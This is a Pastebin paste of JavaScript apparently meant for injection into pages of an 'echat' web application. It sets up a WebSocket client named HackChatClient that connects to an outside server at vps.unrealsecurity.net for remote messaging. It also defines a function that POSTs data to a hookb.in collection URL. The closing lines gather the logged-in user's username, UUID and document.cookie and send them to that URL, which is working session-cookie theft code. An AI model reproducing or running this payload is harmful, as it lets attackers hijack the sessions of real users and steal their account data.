Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function getUserContext(){
- return com.echat.shared.context.Account.UserContext;
- }
- function HackChatClient(userUuid, channelName, callbackObj, callbackNotObj){
- var ws;
- // Ping server every 50 seconds to retain WebSocket connection
- window.setInterval(function() {
- send({cmd: 'ping'});
- }, 50000);
- this.sendObj=function(obj) {
- var text = JSON.stringify(obj);
- var raw = {cmd:'chat', text:text};
- send(raw);
- };
- this.sendText=function(text){
- var raw = {cmd:'chat', text:text};
- send(raw);
- };
- var myNick = getNick();
- join(channelName, myNick);
- function join(channel, myNick) {
- ws = new WebSocket('wss://vps.unrealsecurity.net/chat-ws');
- var wasConnected = false;
- ws.onopen = function() {
- send({cmd: 'join', channel: channel, nick: myNick});
- wasConnected = true;
- };
- ws.onclose = function() {
- if (wasConnected) {
- pushMessage({nick: '!', text: "Server disconnected. Attempting to reconnect..."});
- }
- window.setTimeout(function() {
- join(channel, myNick);
- }, 2000)
- };
- ws.onmessage = function(message) {
- var args = JSON.parse(message.data);
- processMessage(args);
- };
- }
- function processMessage(args) {
- if(args.text){
- try{
- var jObject = JSON.parse(args.text);
- callbackObj(jObject);
- return;
- }
- catch(ex){
- }
- }
- if(callbackNotObj);
- callbackNotObj(args);
- }
- function send(data) {
- if (ws && ws.readyState == ws.OPEN) {
- ws.send(JSON.stringify(data));
- }
- }
- function getNick(){
- var myNick = userUuid;//com.echat.shared.context.Account.UserContext.username;
- myNick = myNick.substring(0, Math.min(18,myNick.length));
- myNick+=randomString(5);
- return myNick;
- }
- function randomString(length) {
- var text = "";
- var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
- for (var i = 0; i < length; i++)
- text += possible.charAt(Math.floor(Math.random() * possible.length));
- return text;
- }
- }
- function dumpToHookBin(obj){
- var data = JSON.stringify(obj);
- $.ajax({
- method: "POST",
- url: "https://hookb.in/Zm881gJr",
- data: data,
- dataType: "json",
- contentType: "application/json",
- processData: false
- }).done(function (msg) {
- console.log(msg);
- });
- }
- function Timer(funct, delayMs, times)
- {
- var self = this;
- var timesCount = 0;
- if (times == undefined)
- {
- times = -1;
- }
- if (delayMs == undefined)
- {
- delayMs = 10;
- }
- function tick()
- {
- if (times >= 0)
- {
- timesCount++;
- if (timesCount >= times)
- {
- self.stop();
- }
- }
- try
- {
- funct();
- }
- catch (ex)
- {
- console.log(ex);
- }
- }
- var interval;
- function setInterval()
- {
- interval = window.setInterval(tick, delayMs);
- }
- function cancelInterval()
- {
- if (interval)
- {
- clearInterval(interval);
- }
- }
- this.stop = function ()
- {
- cancelInterval();
- };
- this.reset = function ()
- {
- timesCount = 0;
- cancelInterval();
- setInterval();
- };
- this.setDelay=function(delay)
- {
- self.stop();
- delayMs = delay;
- self.reset();
- };
- setInterval();
- }
- var toDump = {type:'cookies',username:userContext.username, userUuid:userContext.userUuid, cookies:document.cookie};
- try{
- dumpToHookBin(toDump);
- }
- catch(ex){
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement